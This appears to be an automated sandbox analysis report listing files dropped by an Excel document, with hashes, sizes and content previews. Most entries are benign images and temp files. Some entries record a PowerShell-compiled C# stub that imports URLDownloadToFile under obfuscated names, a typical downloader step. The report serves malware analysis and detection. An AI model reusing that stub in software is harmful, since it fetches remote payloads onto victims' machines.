Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	8084
Entropy (8bit):	2.5551694039574895
Encrypted:	false
SSDEEP:	96:j+RiOO++Z39FAcRwxBdEtzBfCC7Boff8oBJ6ANQ4HJV:jtGNOzBArH
MD5:	721E8AAC81F0A6D4659831CB8194D668
SHA1:	6BE0CEFAEC9F0B1EAD9DE03C8D4679767CF8B549
SHA-256:	E52DF310BB20C42F738A3C8E03ED4110CB795B8A07AE5D4E474EA075564B1622
SHA-512:	24CACEED3153493E34988C35628FAA2C198C9B13AFDD8ABC214EFBA0ACCD0579BADCD5EB0F76F5BDA16D3A279DB4DF4BB218ABD5FFD751C6E62676BD1AAEF2E7
Malicious:	false
Preview:	....l.........../...n............9...... EMF................................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...............................................0...o..."...........!...............................................0...o..."...........!...............................................0...o..."...........!...............................................0...o..."...........!...............................................0...o...'.......................%...........................................................L...d...........>...............q.......!..............?...........?................................R...p...................................A.r.i.a.l...............................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\31A40A15.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	44256
Entropy (8bit):	3.15066292565687
Encrypted:	false
SSDEEP:	384:IhpMW5NFNimpUIuOjwTsiyGGiugBhUErpxTORe4tyIWY5:BWzi+8+GGidBhUErpxTORe4tyI9
MD5:	F1EC2E98B0F577B675156B13DCF94105
SHA1:	4FF2D02051E92771FBB245BA8095C80148A0F61A
SHA-256:	66AFB9C12E20A08F9A713C366EDE8A9CD8F4A93B7D7BFC76205013C28A3250E9
SHA-512:	6E442DB49BF2A429AD2CA7CB3804D79791C1E1FEB414F69FDDD58042E98C5AA5BFC1C751713DB76DD58DC9F3CAC3A7C491228797A909F8FD0291048E8F2FC9BE
Malicious:	false
Preview:	....l................................ .. EMF...............................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'.......................%...........................................................L...d...........................m...-...!..............?...........?................................R...p.................................. A.r.i.a.l...............................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3F10392F.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	44256
Entropy (8bit):	3.147465798679962
Encrypted:	false
SSDEEP:	384:j1W5NF0vUXfOjwTsiyGGiugBhUErpxTORe4tyJ2c:ZWYW+GGidBhUErpxTORe4ty5
MD5:	36D8FF25D14E7E2FBB1968E952FF9C17
SHA1:	E3BD7140DA6CAD87C5A1D5417DFBDD7B0E67B110
SHA-256:	305DCBFBEB9FFEE587E061D779CA1DDF31939ECD64EEE7D8A22BA9D640B48633
SHA-512:	B4B753222F617F78B36949BD9F37E13D68D9FD7367484BEE799F0D7AE38E1705E997A6409251BC2B9830012536FBD08C3C6CB7411D9122F939833F38E303DCBF
Malicious:	false
Preview:	....l................................ .. EMF...............................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'.......................%...........................................................L...d...........................m...-...!..............?...........?................................R...p.................................. A.r.i.a.l...............................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4032A164.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	109544
Entropy (8bit):	4.282675970330063
Encrypted:	false
SSDEEP:	768:I4KlWqWxZiDQ4hHdCUeHxCDJB9Cnh3KCg0F9BV:I42WxF4MyeKCV
MD5:	F7B9A8F20E64B2CB6B572BCBA5866236
SHA1:	2F092A0A518639332BE76BF60DBB966AC331D356
SHA-256:	72447B22A4BBC05B9E9183DF2ADB712AB51C3A45C6247C2303024197D1623F57
SHA-512:	4A78624A9EB02208F3F30D03CC53EBE00BDD2C59E8F7719E35E706D51CD2F8D0D330BE6D6FAD2A9652536F888CB99E0CBE1E3B97A05EA65CB5914C37C501B728
Malicious:	false
Preview:	....l...............r............C...a.. EMF...............................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...................................................s..."...........!...................................................s..."...........!...................................................s..."...........!...................................................s..."...........!...................................................s...'...............ZZZ.....%...................ZZZ.....................................L...d...............p...............q...!..............?...........?................................'...............2.......%...........(...................2...L...d.......p...............p.......

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\59B30867.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	1293620
Entropy (8bit):	4.563127917199792
Encrypted:	false
SSDEEP:	6144:HepUelSAzNeNpVAZSedri2/Op4mD3f5ReZdZJElOFmkDrvwA2w4Meh/q4MmuRDrM:HepRlSPiS4ri2/lmzCJEuL1eU1muq
MD5:	F71C973B5E362DFD6408D6C009E5643E
SHA1:	24B3CE67B31BFD4791287932206D54C73489424E
SHA-256:	27D0986B7EC233689490135118670F01325F21DFD6F60492AF5D62C7CF1E3045
SHA-512:	4C3F506BC4313437C9194EED3CD5AB6616490AE376FC61DD38D8E00F975C41A23FC8D322E41CFBEC380F04F49ADF6E77A3B22BB5C96EBE714F5713B09838F1F4
Malicious:	false
Preview:	....l...........%...............@m..?... EMF....4....!..1...................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...................................................3..."...........!...................................................3..."...........!...................................................3..."...........!...................................................3..."...........!...................................................3...'.......................%...........................................................L...d...v.../......._...v.../.......1...!..............?...........?................................L...d...................................!..............?...........?............................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9B62287A.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	8084
Entropy (8bit):	2.5551694039574895
Encrypted:	false
SSDEEP:	96:j+RiOO++Z39FAcRwxBdEtzBfCC7Boff8oBJ6ANQ4HJV:jtGNOzBArH
MD5:	721E8AAC81F0A6D4659831CB8194D668
SHA1:	6BE0CEFAEC9F0B1EAD9DE03C8D4679767CF8B549
SHA-256:	E52DF310BB20C42F738A3C8E03ED4110CB795B8A07AE5D4E474EA075564B1622
SHA-512:	24CACEED3153493E34988C35628FAA2C198C9B13AFDD8ABC214EFBA0ACCD0579BADCD5EB0F76F5BDA16D3A279DB4DF4BB218ABD5FFD751C6E62676BD1AAEF2E7
Malicious:	false
Preview:	....l.........../...n............9...... EMF................................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...............................................0...o..."...........!...............................................0...o..."...........!...............................................0...o..."...........!...............................................0...o..."...........!...............................................0...o...'.......................%...........................................................L...d...........>...............q.......!..............?...........?................................R...p...................................A.r.i.a.l...............................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\AB21F698.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	13284
Entropy (8bit):	2.721890413361754
Encrypted:	false
SSDEEP:	96:9pyRiCCyydtY5YkBJYstgWqjmLRQS1lkQJ8/tIdSUsQ5lV:9joObWPb1pGpQR
MD5:	64389AE456210E7353BD9F7D9C8EBB26
SHA1:	2E2A820EEC50A0CAF659C8A1747A2C161A81A067
SHA-256:	26F6FE29563F2DE0D66D9EB2F963F00CBA0211E9F1DA8BBCDC9426E76B328ACE
SHA-512:	FF679773F635DBD0FC940B880D04D77FB18786EA566CA83A348CBA36FA82EAFFD1AA76D9D4871C66580AED5FD65A8187C29C3A0BBAD8E38D0C83CA2C7886D5D7
Malicious:	false
Preview:	....l...........#...V...........Z&...... EMF.....3..K.......................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...............................................$...W..."...........!...............................................$...W..."...........!...............................................$...W..."...........!...............................................$...W..."...........!...............................................$...W...R...p.................................. C.a.l.i.b.r.i........................................................................................'/....h./...'/........................h./.............../.N.'/.............m'/../.............../......./......./...'/........../.../..'/

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B57F773C.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	13284
Entropy (8bit):	2.721890413361754
Encrypted:	false
SSDEEP:	96:9pyRiCCyydtY5YkBJYstgWqjmLRQS1lkQJ8/tIdSUsQ5lV:9joObWPb1pGpQR
MD5:	64389AE456210E7353BD9F7D9C8EBB26
SHA1:	2E2A820EEC50A0CAF659C8A1747A2C161A81A067
SHA-256:	26F6FE29563F2DE0D66D9EB2F963F00CBA0211E9F1DA8BBCDC9426E76B328ACE
SHA-512:	FF679773F635DBD0FC940B880D04D77FB18786EA566CA83A348CBA36FA82EAFFD1AA76D9D4871C66580AED5FD65A8187C29C3A0BBAD8E38D0C83CA2C7886D5D7
Malicious:	false
Preview:	....l...........#...V...........Z&...... EMF.....3..K.......................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...............................................$...W..."...........!...............................................$...W..."...........!...............................................$...W..."...........!...............................................$...W..."...........!...............................................$...W...R...p.................................. C.a.l.i.b.r.i........................................................................................'/....h./...'/........................h./.............../.N.'/.............m'/../.............../......./......./...'/........../.../..'/

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F406AA33.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	1293620
Entropy (8bit):	4.563127917199792
Encrypted:	false
SSDEEP:	6144:HepUelSAzNeNpVAZSedri2/Op4mD3f5ReZdZJElOFmkDrvwA2w4Meh/q4MmuRDrM:HepRlSPiS4ri2/lmzCJEuL1eU1muq
MD5:	F71C973B5E362DFD6408D6C009E5643E
SHA1:	24B3CE67B31BFD4791287932206D54C73489424E
SHA-256:	27D0986B7EC233689490135118670F01325F21DFD6F60492AF5D62C7CF1E3045
SHA-512:	4C3F506BC4313437C9194EED3CD5AB6616490AE376FC61DD38D8E00F975C41A23FC8D322E41CFBEC380F04F49ADF6E77A3B22BB5C96EBE714F5713B09838F1F4
Malicious:	false
Preview:	....l...........%...............@m..?... EMF....4....!..1...................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...................................................3..."...........!...................................................3..."...........!...................................................3..."...........!...................................................3..."...........!...................................................3...'.......................%...........................................................L...d...v.../......._...v.../.......1...!..............?...........?................................L...d...................................!..............?...........?............................

C:\Users\user\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_EXCEL.EXE_10fe564ef99637bb7d36e52bfe3f15a5854a2d0_07e7477c\Report.wer

Download File

Process:	C:\Windows\System32\DWWIN.EXE
File Type:	Windows Error Report
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1120043918711404
Encrypted:	false
SSDEEP:	96:R2aVsgPpfS5QXIlizw+HbngICZgpYT1uPoGl9uyEYcbkMIbFY7UGQIiTOB1rXAmW:RfzFCEuhTSYE5jFVaJ
MD5:	9DDC2BEC2D8B71EC9C2819D403045D22
SHA1:	1A315361EC3DECAF14BED57B97EAB23AB9B976A2
SHA-256:	B7381D502E9754C67F24032F6C4F695F9F128535A7333712F2B52659D73B5DA9
SHA-512:	AD0C3C63598991F1286EF4CD4BAA73EDBCAE8AB24DBA9D9973971BB6EE27AF81CE6DEFCF7A1079F1AFC08C94E8696DC6151D57A46B4ACE5E513EAC121350A98D
Malicious:	false
Preview:	V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.5.1.0.6.0.1.0.8.3.4.1.4.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.8.5.1.0.6.0.4.5.1.5.3.7.0.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.5.a.7.0.3.3.4.-.b.8.c.b.-.1.1.e.f.-.8.f.3.8.-.e.c.f.4.b.b.b.5.9.1.5.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.5.a.7.0.3.3.3.-.b.8.c.b.-.1.1.e.f.-.8.f.3.8.-.e.c.f.4.b.b.b.5.9.1.5.b.....R.e.s.p.o.n.s.e...t.y.p.e.=.4.....S.i.g.[.0.]...N.a.m.e.=.A.p.p.l.i.c.a.t.i.o.n. .N.a.m.e.....S.i.g.[.0.]...V.a.l.u.e.=.E.X.C.E.L...E.X.E.....S.i.g.[.1.]...N.a.m.e.=.A.p.p.l.i.c.a.t.i.o.n. .V.e.r.s.i.o.n.....S.i.g.[.1.]...V.a.l.u.e.=.1.4...0...6.0.2.4...1.0.0.0.....S.i.g.[.2.]...N.a.m.e.=.A.p.p.l.i.c.a.t.i.o.n. .T.i.m.e.s.t.a.m.p.....S.i.g.[.2.]...V.a.l.u.e.=.4.d.8.3.e.3.9.d.....S.i.g.[.3.]...N.a.m.e.=.F.a.u.l.t. .M.o.d.u.l.e. .N.a.m.e.....S.i.g.[.3.]...V.a.l.u.e.=.E.X.C.E.L...E.X.E.....S.i.g.[.4.]...N.a.m.e.=.F.a.u.l.t.

C:\Users\user\AppData\Local\Temp\0dvb4nwh.p22.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\1z5tmnmb.51j.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\211412.cvr

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	1616
Entropy (8bit):	3.430330943691892
Encrypted:	false
SSDEEP:	24:e4Gj/s2eBF9ebbcTTPPbHo3ZgglOYA2ZLlqSuwbia/YfhzLz6Qy9hd7EZPQOujU:e4iJe3M0TPP062OmLY7EgP6T9hR0IOaU
MD5:	4D743C1E1542C680454DA7ACDFD9B68D
SHA1:	10B77670E6F2DF49374250C6F623257B63B3AD04
SHA-256:	50CD5CF546B0216D3662B67F15CC573AD415CC48CD1DD65E69A5BA19C0ADFC46
SHA-512:	CD0DBFA246330FB9AFCD6FA66F4F640EB49B700091907AA8FDFC6DD6FCEBF11884D9F426F48BBC3E5D73196FC67B8C6EE1AC8B27726A95993D2C006F66D07D0E
Malicious:	false
Preview:	MSQMx........V............................................=.L...P.W.L......................................................X...............................EXCE........................................5...........;...........<...........A...........l.....................................................................................................................................................{.......................A...N.......................C...........F....................w...........w..............+...........0...........1...........2...........:...........;................................]...........]..........W...........W...n"..........7#..........?.......W...........W........................w...........w......$...@............w..czy2.w..ugoz....sdyu....0...$............w..ajyb.....w..ajyb........ajyb........h...................kibc.....w..cyly..4..w..gyly..4..w..hyly.....w..iyly..v..w..jyly..4..w..kyly.x4..w..fyly........cyly.x4.....cyly..4.....gyly..4.....hyly........iyly

C:\Users\user\AppData\Local\Temp\40h2inb3\40h2inb3.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (368)
Category:	dropped
Size (bytes):	484
Entropy (8bit):	3.733383204515497
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zuIDIDa0GWmMmbjQXReKJ8SRHy4H3QMCQUWXr9M35OKy:V/DTLDfuDxXfHcEXxMJOKy
MD5:	48060B02D61C7C41DB2A78DD5BA30307
SHA1:	7064E1187A73995E4B916AC3D594014D9938A13D
SHA-256:	12C2558DDDDB21359A0A88E1E7BDD1B2C28CB56435C4F9D9796161A2F60B7BE7
SHA-512:	E522F64E687F3BA212703D2B8B5E0320E806359EB16A4FA21D08D5E27E858C82A88AABD01B82A816B96378C15013371451366E1A586E13A132DC7D0D2A86F46C
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace abfKSsSAD.{. public class ibF. {. [DllImport("UrLMoN.Dll", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr oqipTyfEW,string BGlUUEsI,string S,uint itTUxtzs,IntPtr PMl);.. }..}.

C:\Users\user\AppData\Local\Temp\40h2inb3\40h2inb3.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.277749109024126
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2P23fmLOV2LsB0zxs7+AEszIP23fmLOV2Lshx:p37Lvkmb6KzuiVdGWZEouiVdb
MD5:	35683B98CDA5C4C47AA17155F4D71870
SHA1:	25CEA65C2E142395B06DC83A77D940FA211739C5
SHA-256:	CBB28D96EE5A30B3E7058A107998B4DBC73689B68D4F87E3577D1628C78D952C
SHA-512:	5E3F3F798292D2A24157ADCE9C7BE26896047562685F770E1939F4F5C34D41B76150C82CA6F63574056C6EA6D68F25478773B985FB328A5B130B151C77D80F2B
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\40h2inb3\40h2inb3.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\40h2inb3\40h2inb3.0.cs"

C:\Users\user\AppData\Local\Temp\40h2inb3\40h2inb3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.828692158775705
Encrypted:	false
SSDEEP:	24:etGSqPBe5ekrl8KLkZylYb8z7UZMtkZfY7ObCZ0WI+ycuZhNy5akS9OPNnq:6Rskr+KxO8z7UdJYybCZX1uly5a39Sq
MD5:	50D0C15E1BE416D78B7E6CCECE804B15
SHA1:	0ACFFDEEA60E7490B33A3046EC64D9BEA0C0FC91
SHA-256:	1571B8F0CEE96CBDDA3706A0CBDA8ABCF653229B569D2CF3F55FE5A258E07089
SHA-512:	2F8C4D30B1C482CA23A2801840A7D817D0D65C30CC9F60AEE9D4FD38E3F0184782D94277D44E22B14BEF703802E24CFA2A464372F429116EEA1C771BF0A5DE1F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....M[g...........!.................#... ...@....... ....................................@.................................\#..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................5.......v.....v.......................................... <.....P ......N.........T.....^.....g.....i.....r...N.....N...!.N.....N.......!............<.......................................%..........<Module>.40

C:\Users\user\AppData\Local\Temp\40h2inb3\40h2inb3.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (445), with CRLF, CR line terminators
Category:	modified
Size (bytes):	866
Entropy (8bit):	5.344629653396826
Encrypted:	false
SSDEEP:	24:AId3ka6KzTdXEoTdaKaMD5DqBVKVrdFAMBJTH:Akka60BXEoBaKdDcVKdBJj
MD5:	9C8D2EACFB6AC5C8BAC5AD924E387FBF
SHA1:	596919B545CED57F81D6C3B02C6B0A333EDEB183
SHA-256:	4AA894408333AC07734366A41F9FB7253EFF447C3EEFA9500852ED86CB652A27
SHA-512:	9461FD493E9EBB63AADBEFEE3134A374CEDC3D438A76F6F48C8A55D22A354640EA49106FCD6569B87076049959D0558F7513AE5043B62D4DBA2648ED4E36CF13
Malicious:	false
Preview:	.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\40h2inb3\40h2inb3.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\40h2inb3\40h2inb3.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.3761.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\40h2inb3\CSC48DBA3EBDCD44EA8BEA847E1C793E7D2.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0920443861258344
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryE5ak7Ynqq9OPN5Dlq5J:+RI+ycuZhNy5akS9OPNnqX
MD5:	91F3EB957029750C492CC703050A667E
SHA1:	5A95A17AC03744F683B5354E6D97EFDDE47633FB
SHA-256:	E8FA18EDEC268E51DE93070465826CCAF0F17A06023F94948BA724A71D3AF880
SHA-512:	8F49CEE03BAF1B64C833CCD19CE3FE53ACD264D4C9039000E778C27F24CE10EFD528030929582EC6C90E49D7BCF7B26C6CA302A3CB2B22B12E3A4269DE71DF39
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...4.0.h.2.i.n.b.3...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...4.0.h.2.i.n.b.3...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\4jsxcbek.xnv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\RES474.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Thu Dec 12 20:56:29 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	3.976407092963452
Encrypted:	false
SSDEEP:	24:HIe9E2UY4dRHWuQwKdNwI+ycuZhNy5akS9OPNnqSqd:wYqR3Kdm1uly5a39SqSK
MD5:	F7410D619489419E2E5FCAF17FA58F70
SHA1:	8BF5AA96F593283883E780F7C90260CB12D0853E
SHA-256:	4544E6B693CFEEDE882107D0E550093BB3CA007D5C5C040222207E954181A198
SHA-512:	6D5ED6BDD6B551F8F2D5D96D248CE7943774BFD876B471BC8E1527B5F0E4726FB7597A40C489C9F30E370A23E44F9596E4A9FFA612F6E481C9FFF2DAE3BF9D12
Malicious:	false
Preview:	L....M[g.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........T....c:\Users\user\AppData\Local\Temp\40h2inb3\CSC48DBA3EBDCD44EA8BEA847E1C793E7D2.TMP..................p)u.I,....f~..........3.......C:\Users\user\AppData\Local\Temp\RES474.tmp.-.<....................a..Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...4.0.h.2.i.n.b.3...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

C:\Users\user\AppData\Local\Temp\RES5216.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Thu Dec 12 20:56:49 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	4.007384066526779
Encrypted:	false
SSDEEP:	24:Hje9E2U35IdH1wKdNWI+ycuZhNEakSgPNnqSqd:H35g2Kd41ulEa34qSK
MD5:	6124DCACF4CA0210191D664BA02F6BD7
SHA1:	4289BD544FA55B94054E4F4CF7A876E8A56EA07D
SHA-256:	816370DCB843911A9E788B14B02597958448C1AC32C3D075E88D483C6153E75B
SHA-512:	E3E8D3232A5A64BBB868C608C15E175610F5DBE63C05C0244B827325520BE5990F5BB828D0F33B20AC61A34359D5F3E092AA09EBCCA647B4AEE77B79A1605D53
Malicious:	false
